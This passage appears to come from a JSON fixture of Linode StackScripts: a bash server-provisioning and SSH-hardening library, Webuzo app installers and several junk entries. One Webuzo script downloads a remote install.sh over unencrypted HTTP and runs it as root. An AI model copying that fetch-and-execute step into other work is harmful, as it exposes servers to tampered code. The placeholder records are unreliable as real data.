return 1;\n fi\n useradd \"${username}\"\n echo \"${username}:${password}\" | chpasswd\n}\n\nadd_sudo_user() {\n # creates a new user with sudo privileges\n # ${1} - required - username\n # ${2} - required - password\n local -r username=\"${1}\"\n local -r password=\"${2}\"\n if [ -z \"${username}\" ] || [ -z \"${password}\" ]; then\n printf \"ERROR: (add_sudo_user) username and/or password undefined\\n\"\n return 1;\n fi\n if id \"${username}\" >/dev/null 2>&1; then\n printf \"ERROR: (add_sudo_user) user already exists\\n\"\n return 1;\n fi\n useradd \"${username}\"\n echo \"${username}:${password}\" | chpasswd\n usermod -aG wheel \"${username}\"\n}\n\nremove_user() {\n # removes a user \n # ${1} - required - username\n local -r username=\"${1}\"\n if [ -z \"${username}\" ]; then\n printf \"ERROR: (remove_user) username undefined\\n\"\n return 1;\n fi\n if ! id \"${username}\" >/dev/null 2>&1; then\n printf \"ERROR: (remove_user) user not found\\n\"\n return 1;\n fi\n killall -KILL -u \"${username}\"\n userdel -Z -r -f \"${username}\"\n}\n\nadd_public_key() {\n # adds a public key to authorized_keys for the specified user\n # ${1} - required - username\n # ${2} - required - public key\n local -r username=\"${1}\"\n local -r public_key=\"${2}\"\n if [ -z \"${username}\" ] || [ -z \"${public_key}\" ]; then\n printf \"ERROR: (add_public_key) username and/or public key undefined\\n\"\n return 1;\n fi\n if ! id \"${username}\" >/dev/null 2>&1; then\n printf \"ERROR: (add_public_key) user not found\\n\"\n return 1;\n fi\n if [ \"${username}\" == \"root\" ]; then\n mkdir -p /root/.ssh\n touch /root/.ssh/authorized_keys\n echo \"${public_key}\" >> /root/.ssh/authorized_keys\n return 1;\n fi\n mkdir -p /home/\"${username}\"/.ssh\n chmod -R 700 /home/\"${username}\"/.ssh/\n touch /home/\"${username}\"/.ssh/authorized_keys\n echo \"${public_key}\" >> /home/\"${username}\"/.ssh/authorized_keys\n chown -R \"${username}\":\"${username}\" /home/\"${username}\"/.ssh\n chmod 600 /home/\"${username}\"/.ssh/authorized_keys\n}\n\nadd_public_key_from_github() {\n # adds public keys from a github account to authorized_keys for the specified user\n # ${1} - required - username\n # ${2} - required - github account\n local -r username=\"${1}\"\n local -r github_account=\"${2}\"\n if [ -z \"${username}\" ] || [ -z \"${github_account}\" ]; then\n printf \"ERROR: (add_public_key_from_github) username and/or github account undefined\\n\"\n return 1;\n fi\n if ! id \"${username}\" >/dev/null 2>&1; then\n printf \"ERROR: (add_public_key_from_github) user not found\\n\"\n return 1;\n fi\n local -r public_key=\"$(curl -sSL https://github.com/\"${github_account}\".keys)\"\n if [ \"${public_key}\" == \"Not Found\" ]; then\n printf \"ERROR: (add_public_key_from_github) %s.keys not found\\n\" \"${github_account}\"\n return 1;\n fi\n if [ \"${username}\" == \"root\" ]; then\n mkdir -p /root/.ssh\n touch /root/.ssh/authorized_keys\n echo \"${public_key}\" >> /root/.ssh/authorized_keys\n return 1;\n fi\n mkdir -p /home/\"${username}\"/.ssh\n chmod -R 700 /home/\"${username}\"/.ssh/\n touch /home/\"${username}\"/.ssh/authorized_keys\n echo \"${public_key}\" >> /home/\"${username}\"/.ssh/authorized_keys\n chown -R \"${username}\":\"${username}\" /home/\"${username}\"/.ssh\n chmod 600 /home/\"${username}\"/.ssh/authorized_keys\n}\n\ndisable_root_login() {\n # disables root SSH access\n cp -n /etc/ssh/sshd_config /etc/ssh/sshd_config.orig\n sed -i -e \"s/[# \\t]*PermitRootLogin [a-z\\-]*/PermitRootLogin no/i\" /etc/ssh/sshd_config\n systemctl restart sshd\n}\n\nenable_root_login() {\n # enables root SSH access (with a key only)\n cp -n /etc/ssh/sshd_config /etc/ssh/sshd_config.orig\n sed -i -e \"s/[# \\t]*PermitRootLogin [a-z\\-]*/PermitRootLogin prohibit-password/i\" /etc/ssh/sshd_config\n systemctl restart sshd\n}\n\ndisable_password_authentication() {\n # disables password authentication\n cp -n /etc/ssh/sshd_config /etc/ssh/sshd_config.orig\n sed -i -e \"s/[# \\t]*PasswordAuthentication [a-z]*/PasswordAuthentication no/i\" /etc/ssh/sshd_config\n systemctl restart sshd\n}\n\nenable_password_authentication() {\n # enables password authentication\n cp -n /etc/ssh/sshd_config /etc/ssh/sshd_config.orig\n sed -i -e \"s/[# \\t]*PasswordAuthentication [a-z]*/PasswordAuthentication yes/i\" /etc/ssh/sshd_config\n systemctl restart sshd\n}\n\nget_ssh_port() {\n # returns the system''s SSH port number\n sed -n -e ''s/Port //p'' /etc/ssh/sshd_config\n}\n\nset_ssh_port() {\n # reassigns the SSH port number \n # ${1} - required - SSH port\n local -r ssh_port=\"${1}\"\n if [ -z \"${ssh_port}\" ]; then\n printf \"ERROR: (set_ssh_port) SSH port undefined\\n\"\n return 1;\n fi\n cp -n /etc/ssh/sshd_config /etc/ssh/sshd_config.orig\n sed -i -e \"s/[# \\t]*Port [0-9]*/Port ${ssh_port}/i\" /etc/ssh/sshd_config\n if [ ${ssh_port} != \"22\" ]; then\n semanage port -a -t ssh_port_t -p tcp \"${ssh_port}\"\n fi\n systemctl restart sshd\n}\n\nharden_ssh() {\n # hardens ssh by tweaking default configuration\n # SEE: https://www.sshaudit.com/hardening_guides.html#rhel8\n cp -n /etc/ssh/sshd_config /etc/ssh/sshd_config.orig\n sed -i -e \"s/[# \\t]*AddressFamily [a-z]*/AddressFamily inet/i\" /etc/ssh/sshd_config\n sed -i -e \"s/[# \\t]*PermitRootLogin [a-z\\-]*/PermitRootLogin no/i\" /etc/ssh/sshd_config\n sed -i -e \"s/[# \\t]*StrictModes [a-z]*/StrictModes yes/i\" /etc/ssh/sshd_config\n sed -i -e \"s/[# \\t]*MaxAuthTries [0-9]*/MaxAuthTries 3/i\" /etc/ssh/sshd_config\n sed -i -e \"s/[# \\t]*PubkeyAuthentication [a-z]*/PubkeyAuthentication yes/i\" /etc/ssh/sshd_config\n sed -i -e \"s/[# \\t]*PasswordAuthentication [a-z]*/PasswordAuthentication no/i\" /etc/ssh/sshd_config\n sed -i -e \"s/[# \\t]*HostbasedAuthentication [a-z]*/HostbasedAuthentication no/i\" /etc/ssh/sshd_config\n sed -i -e \"s/[# \\t]*ChallengeResponseAuthentication [a-z]*/ChallengeResponseAuthentication no/i\" /etc/ssh/sshd_config\n sed -i -e \"s/[# \\t]*GSSAPIAuthentication [a-z]*/GSSAPIAuthentication no/i\" /etc/ssh/sshd_config\n sed -i -e \"s/[# \\t]*AllowAgentForwarding [a-z]*/AllowAgentForwarding no/i\" /etc/ssh/sshd_config\n sed -i -e \"s/[# \\t]*AllowTcpForwarding [a-z]*/AllowTcpForwarding no/i\" /etc/ssh/sshd_config\n sed -i -e \"s/[# \\t]*PermitTunnel [a-z]*/PermitTunnel no/i\" /etc/ssh/sshd_config\n sed -i -e \"s/[# \\t]*X11Forwarding [a-z]*/X11Forwarding no/i\" /etc/ssh/sshd_config\n sed -i -e \"s/[# \\t]*TCPKeepAlive [a-z]*/TCPKeepAlive no/i\" /etc/ssh/sshd_config\n sed -i -e \"s/[# \\t]*IgnoreRhosts [a-z]*/IgnoreRhosts yes/i\" /etc/ssh/sshd_config\n sed -i -e \"s/[# \\t]*PermitEmptyPasswords [a-z]*/PermitEmptyPasswords no/i\" /etc/ssh/sshd_config\n sed -i -e \"s/[# \\t]*UsePAM [a-z]*/UsePAM no/i\" /etc/ssh/sshd_config\n sed -i -e \"s/[# \\t]*UseDNS [a-z]*/UseDNS no/i\" /etc/ssh/sshd_config\n sed -i -e \"s/[# \\t]*ClientAliveInterval [0-9]*/ClientAliveInterval 300/i\" /etc/ssh/sshd_config\n sed -i -e \"s/[# \\t]*ClientAliveCountMax [0-9]*/ClientAliveCountMax 3/i\" /etc/ssh/sshd_config\n sed -i -e \"s/[# \\t]*MaxSessions [0-9]*/MaxSessions 3/i\" /etc/ssh/sshd_config\n sed -i -e \"s/[# \\t]*LoginGraceTime [0-9a-z]*/LoginGraceTime 30/i\" /etc/ssh/sshd_config\n sed -i -e \"s/[# \\t]*LogLevel [a-z]*/LogLevel VERBOSE/i\" /etc/ssh/sshd_config\n # disables the ECDSA host key\n sed -i -e \"s/^HostKey \\/etc\\/ssh\\/ssh_host_ecdsa_key$/\\#HostKey \\/etc\\/ssh\\/ssh_host_ecdsa_key/g\" /etc/ssh/sshd_config\n # regenerates the RSA and ED25519 keys\n rm -f /etc/ssh/ssh_host_*\n ssh-keygen -t rsa -b 4096 -f /etc/ssh/ssh_host_rsa_key -N \"\"\n ssh-keygen -t ed25519 -f /etc/ssh/ssh_host_ed25519_key -N \"\"\n chgrp ssh_keys /etc/ssh/ssh_host_ed25519_key /etc/ssh/ssh_host_rsa_key\n chmod g+r /etc/ssh/ssh_host_ed25519_key /etc/ssh/ssh_host_rsa_key\n # removes the small Diffie-Hellman moduli\n awk ''$5 >= 3071'' /etc/ssh/moduli > /etc/ssh/moduli.safe\n mv -f /etc/ssh/moduli.safe /etc/ssh/moduli\n # restricts supported key exchange, cipher, and MAC algorithms\n cp -n /etc/crypto-policies/back-ends/opensshserver.config /etc/crypto-policies/back-ends/opensshserver.config.orig\n echo -e \"CRYPTO_POLICY=''-oCiphers=chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr -oMACs=hmac-sha2-512-etm@openssh.com,hmac-sha2-256-etm@openssh.com,umac-128-etm@openssh.com -oGSSAPIKexAlgorithms=gss-curve25519-sha256- -oKexAlgorithms=curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group-exchange-sha256 -oHostKeyAlgorithms=ssh-ed25519,ssh-ed25519-cert-v01@openssh.com,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-rsa-cert-v01@openssh.com -oPubkeyAcceptedKeyTypes=ssh-ed25519,ssh-ed25519-cert-v01@openssh.com,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-rsa-cert-v01@openssh.com''\" > /etc/crypto-policies/back-ends/opensshserver.config\n systemctl restart sshd\n}\n\nharden_kernel() {\n cp -n /etc/security/limits.conf /etc/security/limits.conf.orig\n echo ''* hard core 0'' >> /etc/security/limits.conf\n cat < /etc/sysctl.d/sysctl.conf\nkernel.dmesg_restrict = 1\nkernel.kptr_restrict = 1\nkernel.panic = 30\nkernel.yama.ptrace_scope = 1\nnet.ipv4.conf.all.accept_redirects = 0\nnet.ipv4.conf.all.arp_announce = 2\nnet.ipv4.conf.all.arp_ignore = 1\nnet.ipv4.conf.all.log_martians = 1\nnet.ipv4.conf.all.proxy_arp = 0\nnet.ipv4.conf.default.accept_redirects = 0\nnet.ipv4.conf.default.accept_source_route = 0\nnet.ipv4.conf.default.log_martians = 1\nnet.ipv4.conf.default.rp_filter = 1\nnet.ipv4.conf.default.secure_redirects = 0\nnet.ipv4.conf.default.send_redirects = 0\nnet.ipv4.tcp_max_syn_backlog = 4096\nnet.ipv4.tcp_rfc1337 = 1\nnet.ipv4.tcp_syn_retries = 3\nnet.ipv4.tcp_synack_retries = 3\nnet.ipv6.conf.all.accept_redirects = 0\nnet.ipv6.conf.default.accept_ra_defrtr = 0\nnet.ipv6.conf.default.accept_ra_pinfo = 0\nnet.ipv6.conf.default.accept_ra_rtr_pref = 0\nnet.ipv6.conf.default.accept_redirects = 0\nnet.ipv6.conf.default.accept_source_route = 0\nnet.ipv6.conf.default.autoconf = 0\nnet.ipv6.conf.default.dad_transmits = 0\nnet.ipv6.conf.default.max_addresses = 1\nnet.ipv6.conf.default.router_solicitations = 0\nEOT\n sysctl -p\n}\n\nharden_system() {\n echo \"root\" > /etc/cron.allow\n echo \"ALL : ALL\" > /etc/hosts.deny\n cat < /etc/hosts.allow\nALL : LOCAL\nALL : 192.168.\nALL : 127.0.\nsshd : ALL\nEOT\n chmod 600 /etc/hosts.deny\n chmod 600 /etc/hosts.allow\n chmod 600 /etc/cron.allow\n rm -f /etc/cron.deny\n chmod -R 700 /root\n userdel -Z -r -f adm\n userdel -Z -r -f ftp\n userdel -Z -r -f games\n userdel -Z -r -f lp\n rmdir /usr/games\n rmdir /usr/local/games\n rmdir /var/adm\n rmdir /var/ftp\n rmdir /var/games\n rmdir /var/gopher\n systemctl stop kdump\n systemctl disable kdump\n systemctl mask kdump\n systemctl mask ctrl-alt-del.target\n cat <> /etc/modprobe.d/hardening.conf\nblacklist usb-storage\nblacklist firewire-core\ninstall usb-storage /bin/true\ninstall sctp /bin/true\ninstall dccp /bin/true\ninstall cramfs /bin/true\ninstall freevxfs /bin/true\ninstall jffs2 /bin/true\ninstall hfs /bin/true\ninstall hfsplus /bin/true\ninstall squashfs /bin/true\ninstall udf /bin/true\ninstall cifs /bin/true\ninstall nfs /bin/true\ninstall nfsv3 /bin/true\ninstall nfsv4 /bin/true\ninstall gfs2 /bin/true\ninstall bnep /bin/true\ninstall bluetooth /bin/true\ninstall btusb /bin/true\ninstall net-pf-31 /bin/true\ninstall appletalk /bin/true\ninstall rds /bin/true\ninstall tipc /bin/true\nEOT\n}\n\ndisable_ip6() {\n cat <> /etc/sysctl.d/sysctl.conf\nnet.ipv6.conf.all.disable_ipv6 = 1\nnet.ipv6.conf.default.disable_ipv6 = 1\nnet.ipv6.conf.lo.disable_ipv6 = 1\nEOT\n sysctl -p\n echo \"options ipv6 disable=1\" >> /etc/modprobe.d/hardening.conf\n echo \"NETWORKING_IPV6=no\" >> /etc/sysconfig/network\n echo \"IPV6INIT=no\" >> /etc/sysconfig/network\n ip6tables -F\n ip6tables --policy INPUT DROP\n ip6tables --policy FORWARD DROP\n ip6tables --policy OUTPUT DROP\n service ip6tables save\n systemctl restart ip6tables\n}\n\nopen_port() {\n # ${1} - required - IPv4 TCP port to open\n local -r port=\"${1}\"\n if [ -z \"${port}\" ]; then\n printf \"ERROR: (open_port) port undefined\\n\"\n return 1;\n fi\n cp -n /etc/sysconfig/iptables /etc/sysconfig/iptables.orig\n iptables -A INPUT -p tcp -m tcp --dport \"${port}\" -m conntrack --ctstate NEW -j ACCEPT\n service iptables save\n systemctl restart iptables\n}\n\nopen_ip6_port() {\n # ${1} - required - IPv6 TCP port to open\n local -r port=\"${1}\"\n if [ -z \"${port}\" ]; then\n printf \"ERROR: (open_ip6_port) port undefined\\n\"\n return 1;\n fi\n cp -n /etc/sysconfig/ip6tables /etc/sysconfig/ip6tables.orig\n ip6tables -A INPUT -p tcp -m tcp --dport \"${port}\" -m conntrack --ctstate NEW -j ACCEPT\n service ip6tables save\n systemctl restart ip6tables\n}\n\nopen_udp_port() {\n # ${1} - required - IPv4 UDP port to open\n local -r port=\"${1}\"\n if [ -z \"${port}\" ]; then\n printf \"ERROR: (open_port) port undefined\\n\"\n return 1;\n fi\n cp -n /etc/sysconfig/iptables /etc/sysconfig/iptables.orig\n iptables -A INPUT -p udp -m udp --dport \"${port}\" -m conntrack --ctstate NEW -j ACCEPT\n service iptables save\n systemctl restart iptables\n}\n\nopen_ip6_udp_port() {\n # ${1} - required - IPv6 UDP port to open\n local -r port=\"${1}\"\n if [ -z \"${port}\" ]; then\n printf \"ERROR: (open_ip6_port) port undefined\\n\"\n return 1;\n fi\n cp -n /etc/sysconfig/ip6tables /etc/sysconfig/ip6tables.orig\n ip6tables -A INPUT -p udp -m udp --dport \"${port}\" -m conntrack --ctstate NEW -j ACCEPT\n service ip6tables save\n systemctl restart ip6tables\n}\n\nadd_port() {\n # opens a port in the firewall\n # ${1} - required - IP standard (ipv4/ipv6)\n # ${2} - required - port #\n # ${3} - required - protocol (tcp/udp)\n local -r standard=\"${1}\"\n local -r port=\"${2}\"\n local -r protocol=\"${3}\"\n if [ -z \"${standard}\" ] || [ -z \"${port}\" ] || [ -z \"${protocol}\" ]; then\n printf \"ERROR: (add_port) missing argument - ipv4/ipv6, port #, tcp/udp\\n\"\n return 1;\n fi\n if [ \"${standard}\" == ''ipv4'' ]; then\n cp -n /etc/sysconfig/iptables /etc/sysconfig/iptables.orig\n iptables -A INPUT -p \"${protocol}\" -m \"${protocol}\" --dport \"${port}\" -m conntrack --ctstate NEW -j ACCEPT\n elif [ \"${standard}\" == ''ipv6'' ]; then\n cp -n /etc/sysconfig/ip6tables /etc/sysconfig/ip6tables.orig\n ip6tables -A INPUT -p \"${protocol}\" -m \"${protocol}\" --dport \"${port}\" -m conntrack --ctstate NEW -j ACCEPT\n fi\n}\n\nconfigure_basic_firewall() {\n # removes firewalld and creates a simple iptables firewall\n # accepts pings and SSH connections only\n systemctl stop firewalld\n dnf -y remove firewalld\n cp -n /etc/sysconfig/iptables /etc/sysconfig/iptables.orig\n cp -n /etc/sysconfig/ip6tables /etc/sysconfig/ip6tables.orig\n iptables -F\n iptables --policy INPUT DROP\n iptables --policy FORWARD DROP\n iptables --policy OUTPUT ACCEPT\n iptables -A INPUT -m conntrack --ctstate ESTABLISHED,RELATED -j ACCEPT\n iptables -A INPUT -i lo -j ACCEPT\n iptables -A INPUT -p icmp -j ACCEPT\n iptables -A INPUT -p tcp -m tcp --dport \"$(sed -n -e ''s/^[ \\t]*Port //p'' /etc/ssh/sshd_config)\" -m conntrack --ctstate NEW -j ACCEPT\n service iptables save\n ip6tables -F\n ip6tables --policy INPUT DROP\n ip6tables --policy FORWARD DROP\n ip6tables --policy OUTPUT ACCEPT\n ip6tables -A INPUT -m conntrack --ctstate ESTABLISHED,RELATED -j ACCEPT\n ip6tables -A INPUT -i lo -j ACCEPT\n ip6tables -A INPUT -p ipv6-icmp -j ACCEPT\n service ip6tables save\n systemctl enable iptables\n systemctl enable ip6tables\n systemctl restart iptables\n systemctl restart ip6tables\n}\n\ninstall_apache() {\n # installs an apache server with a simple configuration and SSL certificate\n # ${1} - optional - the fully-qualified domain name to be used for the SSL certificate\n if [ -z \"${1}\" ]; then\n local -r fqdn=\"$(host \"$(hostname -I | cut -d '' '' -f 1)\" | awk ''/pointer/ {print $5}'' | sed ''s/\\.$//'')\"\n else\n local -r fqdn=\"${1}\"\n fi\n dnf -y install httpd mod_ssl certbot python3-certbot-apache\n cp -n /etc/sysconfig/iptables /etc/sysconfig/iptables.orig\n iptables -A INPUT -p tcp -m tcp --dport \"80\" -m conntrack --ctstate NEW -j ACCEPT\n iptables -A INPUT -p tcp -m tcp --dport \"443\" -m conntrack --ctstate NEW -j ACCEPT\n service iptables save\n systemctl restart iptables\n cp -n /etc/sysconfig/ip6tables /etc/sysconfig/ip6tables.orig\n ip6tables -A INPUT -p tcp -m tcp --dport \"80\" -m conntrack --ctstate NEW -j ACCEPT\n ip6tables -A INPUT -p tcp -m tcp --dport \"443\" -m conntrack --ctstate NEW -j ACCEPT\n service ip6tables save\n systemctl restart ip6tables\n cat < /etc/httpd/conf.d/vhosts.conf\n\n ServerName ${fqdn}\n \n Options None\n AllowOverride none\n Require all granted\n \n\nEOT\n systemctl enable httpd\n systemctl restart httpd\n cp -n /etc/httpd/conf.d/ssl.conf /etc/httpd/conf.d/ssl.conf.orig\n certbot --apache --noninteractive --agree-tos --register-unsafely-without-email -d \"${fqdn}\" -w /var/www/html/\n local -r certificatefile=\"$(sed -n -e ''s/SSLCertificateFile //p'' /etc/httpd/conf.d/vhosts-le-ssl.conf)\"\n local -r certificatekeyfile=\"$(sed -n -e ''s/SSLCertificateKeyFile //p'' /etc/httpd/conf.d/vhosts-le-ssl.conf)\"\n cp -n /etc/httpd/conf.d/vhosts-le-ssl.conf /etc/httpd/conf.d/vhosts-le-ssl.conf.original\n rm -f /etc/httpd/conf.d/vhosts-le-ssl.conf\n if [ -n \"${certificatefile}\" ] && [ -n \"${certificatekeyfile}\" ]; then\n sed -i -e \"s#SSLCertificateFile .*#SSLCertificateFile ${certificatefile}#i\" /etc/httpd/conf.d/ssl.conf\n sed -i -e \"s#SSLCertificateKeyFile .*#SSLCertificateKeyFile ${certificatekeyfile}#i\" /etc/httpd/conf.d/ssl.conf\n fi\n systemctl restart httpd\n}\n\ninstall_postfix() {\n # installs postfix and enables local mail delivery and loopback only\n dnf -y install postfix\n cp -n /etc/postfix/main.cf /etc/postfix/main.cf.orig\n sed -i -e \"s/[# \\t]*inet_protocols = .*/inet_protocols = ipv4/i\" /etc/postfix/main.cf\n sed -i -e \"s/[# \\t]*smtpd_banner =.*/smtpd_banner = \\$myhostname ESMTP/i\" /etc/postfix/main.cf\n systemctl enable postfix\n systemctl restart postfix\n}\n\ninstall_fail2ban() {\n # installs fail2ban-server with a simple configuration\n local -r ssh_port=\"$(sed -n -e ''s/^[ \\t]*Port //p'' /etc/ssh/sshd_config)\"\n dnf -y install fail2ban-server\n cat < /etc/fail2ban/jail.local\n[DEFAULT] \nbantime = 3600\nfindtime = 300\nmaxretry = 5\nbanaction = iptables-multiport\nbackend = systemd\n\n[sshd]\nenabled = true\nport = ${ssh_port}\nEOT\n systemctl enable fail2ban\n systemctl start fail2ban\n}\n\ninstall_webmin() {\n # installs webmin with a simple configuration\n cat < /etc/yum.repos.d/webmin.repo\n[Webmin]\nname=Webmin Distribution Neutral\nbaseurl=https://download.webmin.com/download/yum\nenabled=1\ngpgcheck=1\ngpgkey=https://download.webmin.com/jcameron-key.asc\nEOT\n dnf -y install webmin\n sed -i \"s/ipv6=1/ipv6=0/i\" /etc/webmin/miniserv.conf\n if [ -e \"/etc/httpd/conf.d/ssl.conf\" ]; then\n local -r certfile=\"$(sed -n -e ''s/^[ \\t]*SSLCertificateFile //p'' /etc/httpd/conf.d/ssl.conf)\"\n local -r keyfile=\"$(sed -n -e ''s/^[ \\t]*SSLCertificateKeyFile //p'' /etc/httpd/conf.d/ssl.conf)\"\n echo \"#keyfile=${keyfile}\" >> /etc/webmin/miniserv.conf\n echo \"#certfile=${certfile}\" >> /etc/webmin/miniserv.conf\n fi\n cp -n /etc/sysconfig/iptables /etc/sysconfig/iptables.orig\n iptables -A INPUT -p tcp -m tcp --dport \"10000\" -m conntrack --ctstate NEW -j ACCEPT\n service iptables save\n systemctl restart iptables\n if (ss -tulpn) | grep ''miniserv''; then\n killall -9 miniserv.pl\n fi\n service webmin start\n chkconfig webmin on\n}\n\ndisable_selinux() {\n # relaxes selinux but still logs errors\n setenforce permissive\n sed -i \"s/=enforcing/=permissive/i\" \"/etc/selinux/config\"\n}\n\n\n#### STACKSCRIPT COMPATIBILITY FUNCTIONS\n\nsystem_install_basics() {\n install_essentials\n}\n\nsystem_primary_ip() {\n get_primary_ip\n}\n\nsystem_primary_ip6() {\n get_primary_ip6\n}\n\nsystem_set_hostname() {\n set_hostname \"${1}\"\n}\n\nsystem_add_host_entry() {\n add_host_entry \"${1}\" \"${2}\" \"${3}\"\n}\n\nsystem_set_timezone() {\n set_timezone \"${1}\"\n}\n\nuser_add_sudo() {\n add_sudo_user \"${1}\" \"${2}\"\n}\n\nuser_add_pubkey() {\n add_public_key \"${1}\" \"${2}\"\n}\n\nssh_disable_root() {\n disable_root_login\n disable_password_authentication\n}\n\npostfix_install_loopback_only() {\n install_postfix\n}\n\nenable_fail2ban() {\n install_fail2ban\n}\n\napache_install() {\n install_apache \"${1}\"\n}\n", "user_defined_fields": []}, {"id": 1119241, "username": "cecillysander", "user_gravatar_id": "b18e5b184afa0a761c23041172947c74", "label": "ccc", "description": "ccccc", "ordinal": 0, "logo_url": "", "images": ["linode/ubuntu20.04"], "deployments_total": 0, "deployments_active": 0, "is_public": true, "mine": false, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "rev_note": "", "script": "#!/bin/bash\r\necho "hello"", "user_defined_fields": []}, {"id": 662025, "username": "half5064", "user_gravatar_id": "e76358653afa8908f167511e8379bd1c", "label": "reboot", "description": "reboot", "ordinal": 0, "logo_url": "", "images": ["linode/alpine3.10"], "deployments_total": 0, "deployments_active": 0, "is_public": true, "mine": false, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "rev_note": "", "script": "#!/bin/bash''\n#linode-cli linodes reboot $half5064", "user_defined_fields": []}, {"id": 9225, "username": "webuzo", "user_gravatar_id": "cf0348f835d60e6d133040f49bb36ec5", "label": "XCloner powered by Webuzo", "description": "XCloner is a professional website Backup and Restore application designed to allow you to create safe complete backups of any PHP/Mysql website and to be able to restore them anywhere. It works as a native Joomla backup component, as a native Wordpress backup plugin and also as standalone PHP/Mysql backup application. \r\n\t\t\t\r\nWebuzo is a Single User Control Panel which helps users deploy Web Apps (WordPress, Joomla, Drupal, etc) or System Apps (Apache, NGINX, PHP, Java, MongoDB, etc) on their virtual machines or in the cloud.\r\n\r\nYou can get a Webuzo License here\r\nhttp://www.webuzo.com/pricing\r\n\r\nPath to Installation Logs : /root/webuzo-install.log\r\n\r\nInstructions\r\nOn completion of the installation process, access http://your-ip:2004 to configure XCloner and Softaculous Webuzo initially.\r\n\r\nContact : http://webuzo.com/contact", "ordinal": 0, "logo_url": "", "images": ["linode/centos5.6", "linode/ubuntu10.04lts32bit", "linode/ubuntu10.04lts", "linode/ubuntu14.04lts", "linode/ubuntu12.04lts", "linode/centos6.8"], "deployments_total": 0, "deployments_active": 0, "is_public": true, "mine": false, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "rev_note": "XCloner powered by Webuzo", "script": "#!/bin/bash\n# \n\n###########################################################################################################\n# Install XCloner and Softaculous Webuzo\n# Description -\n# About Webuzo :\n# Webuzo is a Single User Control Panel which helps users deploy Web Apps (WordPress, Joomla, Drupal, etc)\n# or System Apps (Apache, NGINX, PHP, Java, MongoDB, etc) on their virtual machines or in the cloud.\n#\n# About XCloner :\n# XCloner is a professional website Backup and Restore application designed to allow you to create \n# safe complete backups of any PHP/Mysql website and to be able to restore them anywhere.\n# It works as a native Joomla backup component, as a native Wordpress backup plugin and also \n# as standalone PHP/Mysql backup application.\n###########################################################################################################\n\n# Install XCloner Script using Webuzo\nfunction install_webuzo_script(){\n \n # Install Webuzo\n install_webuzo\n \n wget http://files.webuzo.com/ip.php >> /root/webuzo-install.log 2>&1\n ip=$(cat ip.php)\n \n /usr/local/emps/bin/curl \"http://$ip:2004/install.php?prepareinstall=458&license=$1\"\n \n}\n\n# Install Webuzo Function\nfunction install_webuzo(){\n \n # Fetch the Webuzo Installer\n wget -N http://files.webuzo.com/install.sh >> /root/webuzo-install.log 2>&1\n \n # Modify Permissions\n chmod 0755 install.sh >> /root/webuzo-install.log 2>&1\n \n # Execute\n ./install.sh >> /root/webuzo-install.log 2>&1\n \n # Clean Up\n rm -rf install.sh >> /root/webuzo-install.log 2>&1\n \n}\n\n#########################################################\n#\tInstalling XCloner and Softaculous Webuzo\n#########################################################\n\ninstall_webuzo_script $WEBUZO_LICENSE_KEY\n\n# Check the return of the above command and display the result accordingly\n\necho \" \"\necho \"-------------------------------------\"\necho \" Installation Completed \"\necho \"-------------------------------------\"\necho \"Congratulations, XCloner has been successfully installed\"\necho \" \"\necho \"You can now configure XCloner and Softaculous Webuzo at the following URL :\"\necho \"http://$ip:2004/\"\necho \" \"\necho \"Thank you for choosing Softaculous Webuzo !\"\necho \" \"", "user_defined_fields": []}, {"id": 83465, "username": "janelle_estelle", "user_gravatar_id": "58c5b6b3e7c996de84adf9c177085ae5", "label": "Stack", "description": "", "ordinal": 0, "logo_url": "", "images": ["linode/ubuntu16.04lts"], "deployments_total": 0, "deployments_active": 0, "is_public": true, "mine": false, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "rev_note": "Initial import", "script": "#!/bin/bash\n# \n# \n# \n# \n\n\nsource \n\nsystem_update\npostfix_install_loopback_only\nmysql_install \"$DB_PASSWORD\" && mysql_tune 40\nmysql_create_database \"$DB_PASSWORD\" \"$DB_NAME\"\nmysql_create_user \"$DB_PASSWORD\" \"$DB_USER\" \"$DB_USER_PASSWORD\"\nmysql_grant_user \"$DB_PASSWORD\" \"$DB_USER\" \"$DB_NAME\"\nphp_install_with_apache && php_tune\napache_install && apache_tune 40 && apache_virtualhost_from_rdns\ngoodstuff\nrestartServices", "user_defined_fields": [{"name": "db_password", "label": "MySQL root Password"}, {"name": "db_name", "label": "Create Database", "default": "", "example": "Optionally create this database"}, {"name": "db_user", "label": "Create MySQL User", "default": "", "example": "Optionally create this user"}, {"name": "db_user_password", "label": "MySQL User''s Password", "default": "", "example": "User''s password"}]}, {"id": 978953, "username": "meenubediShine", "user_gravatar_id": "ac16f37ccd972a6f698dab5aab1188b2", "label": "admin", "description": "fghtdyjt", "ordinal": 0, "logo_url": "", "images": ["linode/ubuntu16.04lts", "linode/centos8", "linode/debian9-kube-v1.22.2", "linode/debian11-kube-v1.21.9", "linode/alpine3.15"], "deployments_total": 0, "deployments_active": 0, "is_public": true, "mine": false, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "rev_note": "ree", "script": "#!/bin/bash\n\ndthfjuffyki", "user_defined_fields": []}, {"id": 9226, "username": "webuzo", "user_gravatar_id": "cf0348f835d60e6d133040f49bb36ec5", "label": "Gallery 2 powered by Webuzo", "description": "Gallery is an open source web based photo album organizer. Gallery gives you an intuitive way to blend photo management seamlessly into your own website whether you''re running a small personal site or a large community site.\r\n\r\nServing millions worldwide, the Gallery project is the most widely used system of its kind. \r\n\t\t\t\r\nWebuzo is a Single User Control Panel which helps users deploy Web Apps (WordPress, Joomla, Drupal, etc) or System Apps (Apache, NGINX, PHP, Java, MongoDB, etc) on their virtual machines or in the cloud.\r\n\r\nYou can get a Webuzo License here\r\nhttp://www.webuzo.com/pricing\r\n\r\nPath to Installation Logs : /root/webuzo-install.log\r\n\r\nInstructions\r\nOn completion of the installation process, access http://your-ip:2004 to configure Gallery 2 and Softaculous Webuzo initially.\r\n\r\nContact : http://webuzo.com/contact", "ordinal": 0, "logo_url": "", "images": ["linode/centos5.6", "linode/ubuntu10.04lts32bit", "linode/ubuntu10.04lts", "linode/ubuntu14.04lts", 